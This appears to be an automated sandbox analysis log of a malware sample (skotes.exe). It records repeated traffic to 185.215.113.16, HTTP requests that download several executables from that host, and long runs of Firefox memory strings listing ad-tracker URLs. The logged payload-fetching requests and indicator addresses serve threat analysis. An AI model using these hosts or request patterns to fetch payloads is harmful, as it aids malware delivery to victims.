Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00A9BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

8_2_00A9BE30

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://.adsafeprotected.com/services/pub""://.adsafeprotected.com//Serving/""://.adsafeprotected.com/jsvid?""://.adsafeprotected.com//unit/""://.adsafeprotected.com/jsvid""://track.adform.net/Serving/TrackPoint/""://.adsafeprotected.com/tpl?""://pixel.advertising.com/firefox-etp""://ads.stickyadstv.com/auto-user-sync""://.adsafeprotected.com/jload""://.adsafeprotected.com/jsvid""://cdn.cmp.advertising.com/firefox-etp""://.adsafeprotected.com/jsvid?""://.adsafeprotected.com/services/pub""://trends.google.com/trends/embed""://trends.google.com/trends/embed""://.adsafeprotected.com/tpl?""://.adsafeprotected.com/.js"["://trends.google.com/trends/embed"]"https://ads.stickyadstv.com/firefox-etp"["://trends.google.com/trends/embed"]"://pubads.g.doubleclick.net/gampad/ad-blk""://.adsafeprotected.com/.png""://vast.adsafeprotected.com/vast""://pubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com//adj""://www.facebook.com/platform/impression.php""://securepubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com/.gif""://ads.stickyadstv.com/user-matching""://.adsafeprotected.com//imp/""://.adsafeprotected.com/jload?"getAndForgetRecentTabTransitionDataresource:///actors/ClickHandlerParent.sys.mjsresource:///modules/BrowserWindowTracker.sys.mjsresource://gre/modules/ExtensionParent.sys.mjsUnrecognized theme property found: colors.The amount of values specified for 'resource://gre/modules/WebNavigation.jsm:scope > #context-sep-navigation + *Could not find any MenuItem with id: ), which may lead to unexpected results.getProfileDataAsGzippedArrayBuffermain/anti-tracking-url-decorationmain/websites-with-shared-credential-backendsmain/search-default-override-allowlistUnexpectedly received notification for , falling back to typed transition.Unrecognized theme property found: properties.this.menusInternal</onClicked/listener/<60e82333-914d-4cfa-95b1-5f034b5a704bresource://gre/modules/AddonManager.sys.mjswebNavigation-createdNavigationTargetresource:///modules/UrlbarUtils.sys.mjsresource://gre/modules/PlacesUtils.sys.mjsID of a MenuItem cannot be changedChild MenuItem already has a parent.Unrecognized theme property found: images.resource://gre/modules/AsyncShutdown.sys.mjsmain/devtools-compatibility-browsersmain/translations-identification-modelsChild MenuItem not found, it cannot be removed.main/anti-tracking-url-decoration' property takes effect only when one resource://gre/modules/TelemetryArchive.sys.mjschrome://browser/content/browser.xhtmlresource:///modules/ShellService.sys.mjschrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlchrome://browser/content/browser.xhtmlresource://normandy/lib/NormandyUtils.sys.mjsservices.sync.clients.devices.mobilechrome://browser/content/browser.xhtmlresource:///modules/AttributionCode.sys.mjschrome://browser/content/browser.xhtmlbrowser.laterrun.bookkeeping.sessionCountbrowser.laterrun.bookkeeping.profileCreationTi
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php://.adsafeprotected.com//Serving/://pubads.g.doubleclick.net/gampad/xml_vmap1https://ads.stickyadstv.com/firefox-etp://.adsafeprotected.com//unit/amazondotcom%40search.mozilla.org:1.6resource://search-extensions/wikipedia/wikipedia%40search.mozilla.org:1.3https://en.wikipedia.org/wiki/Special:Searchaddons-search-detection%40mozilla.com:2.0.0resource://search-extensions/google/resource://search-extensions/bing/resource://search-extensions/ddg/resource://builtin-addons/search-detection/firefox-compact-light@mozilla.orgaddons-search-detection@mozilla.comfirefox-compact-light%40mozilla.org:1.2firefox-compact-dark%40mozilla.org:1.2resource://builtin-themes/alpenglow/firefox-alpenglow%40mozilla.org:1.4resource://gre/modules/TelemetryUtils.sys.mjsresource://gre/modules/TelemetryStorage.sys.mjsresource://search-extensions/amazondotcom/resource://gre/modules/AddonManager.sys.mjsTelemetrySession::onEnvironmentChange8# equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2963511722.00000229804B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965634816.000002298073A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965634816.0000022980777000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/network/safe-file-output-stream;1https://smartblock.firefox.etp/play.svg@mozilla.org/network/file-output-stream;1://static.criteo.net/js/ld/publishertag.js://web-assets.toggl.com/app/assets/scripts/.js://libs.coremetrics.com/eluminate.jsFileUtils_openAtomicFileOutputStream://static.chartbeat.com/js/chartbeat.jswebcompat-reporter%40mozilla.org:1.5.1resource://gre/modules/addons/XPIProvider.jsm://pub.doubleverify.com/signals/pub.jsFileUtils_closeSafeFileOutputStream@mozilla.org/network/atomic-file-output-stream;1://c.amazon-adsystem.com/aax2/apstag.js://auth.9c9media.ca/auth/main.js://.imgur.com/js/vendor..bundle.jsFileUtils_closeAtomicFileOutputStreamFileUtils_openSafeFileOutputStream@mozilla.org/addons/addon-manager-startup;1://.imgur.io/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://track.adform.net/serving/scripts/trackpoint/pictureinpicture%40mozilla.org:1.0.0https://smartblock.firefox.etp/facebook.svg://www.everestjs.net/static/st.v3.jsresource://gre/modules/FileUtils.sys.mjs://connect.facebook.net//sdk.js*://static.chartbeat.com/js/chartbeat_video.js://www.google-analytics.com/analytics.js://www.google-analytics.com/gtm/js://www.google-analytics.com/plugins/ua/ec.js://ssl.google-analytics.com/ga.js://www.googletagmanager.com/gtm.js*://imasdk.googleapis.com/js/sdkloader/ima3.js://pagead2.googlesyndication.com/tag/js/gpt.js*://s0.2mdn.net/instream/html5/ima3.js://www.googletagservices.com/tag/js/gpt.js*://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://adservex.media.net/videoAds.js://.moatads.com//moatheader.js://cdn.optimizely.com/public/.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://.vidible.tv//vidible-min.js*://s.webtrends.com/js/webtrends.min.jsresource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MAX_NUMBER_OF_DYNAMIC_AND_SESSION_RULESdefault_public_and_private_interfaces^(sha256\|sha512):[0-9a-fA-F]{64,128}$"://connect.facebook.net//all.js""://www.google-analytics.com/plugins/ua/ec.js" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Opening inactive windows is not supported.Please use $(ref:runtime.onMessage).MAX_NUMBER_OF_ENABLED_STATIC_RULESETS"://.moatads.com//moatapi.js""://js.maxmind.com/js/apis/geoip2//geoip2.js""://pubads.g.doubleclick.net/gampad/ad-blk""://securepubads.g.doubleclick.net/gampad/ad""://s.webtrends.com/js/advancedLinkTracking.js""://static.adsafeprotected.com/iasPET.1.js""://www.facebook.com/platform/impression.php""://.vidible.tv//vidible-min.js""https://ads.stickyadstv.com/firefox-etp""://.adsafeprotected.com/.png""://.adsafeprotected.com/.js""://.adsafeprotected.com/jload?""://.adsafeprotected.com/jsvid""://.moatads.com//moatheader.js""://ads.stickyadstv.com/auto-user-sync""://pixel.advertising.com/firefox-etp""://.adsafeprotected.com//adj""://track.adform.net/Serving/TrackPoint/""://ads.stickyadstv.com/user-matching""://vast.adsafeprotected.com/vast""://.adsafeprotected.com/.gif""://.adsafeprotected.com//imp/""://adservex.media.net/videoAds.js""://s.webtrends.com/js/webtrends.min.js""://.adsafeprotected.com//Serving/""://pubads.g.doubleclick.net/gampad/ad""://.adsafeprotected.com//unit/""://.adsafeprotected.com/jload""://.adsafeprotected.com/jsvid?""://s.webtrends.com/js/webtrends.js""://.adsafeprotected.com/tpl?""://cdn.optimizely.com/public/.js""://pixel.advertising.com/firefox-etp""://pubads.g.doubleclick.net/gampad/ad-blk""://vast.adsafeprotected.com/vast""://track.adform.net/Serving/TrackPoint/""://securepubads.g.doubleclick.net/gampad/ad""://pubads.g.doubleclick.net/gampad/ad""://www.facebook.com/platform/impression.php""https://ads.stickyadstv.com/firefox-etp""://ads.stickyadstv.com/auto-user-sync""://.adsafeprotected.com/.gif""://.adsafeprotected.com/.png""://.adsafeprotected.com/.js""://.adsafeprotected.com//adj""://.adsafeprotected.com/services/pub""://.adsafeprotected.com//imp/""://.adsafeprotected.com//Serving/""://.adsafeprotected.com//unit/""://.adsafeprotected.com/jload""://ads.stickyadstv.com/user-matching""://.adsafeprotected.com/jload?*" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Please use $(ref:runtime.getURL)."://connect.facebook.net//sdk.js""://www.google-analytics.com/gtm/js"^resource://(\\|\\.[^/]+\|[^/]+)/.$\|^about:"://.imgur.com/js/vendor..bundle.js"Please use $(ref:runtime.lastError)."://.imgur.io/js/vendor..bundle.js" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965275696.0000022980609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001B.00000002.2965275696.0000022980603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2965275696.0000022980609000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2965275696.000002298060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", 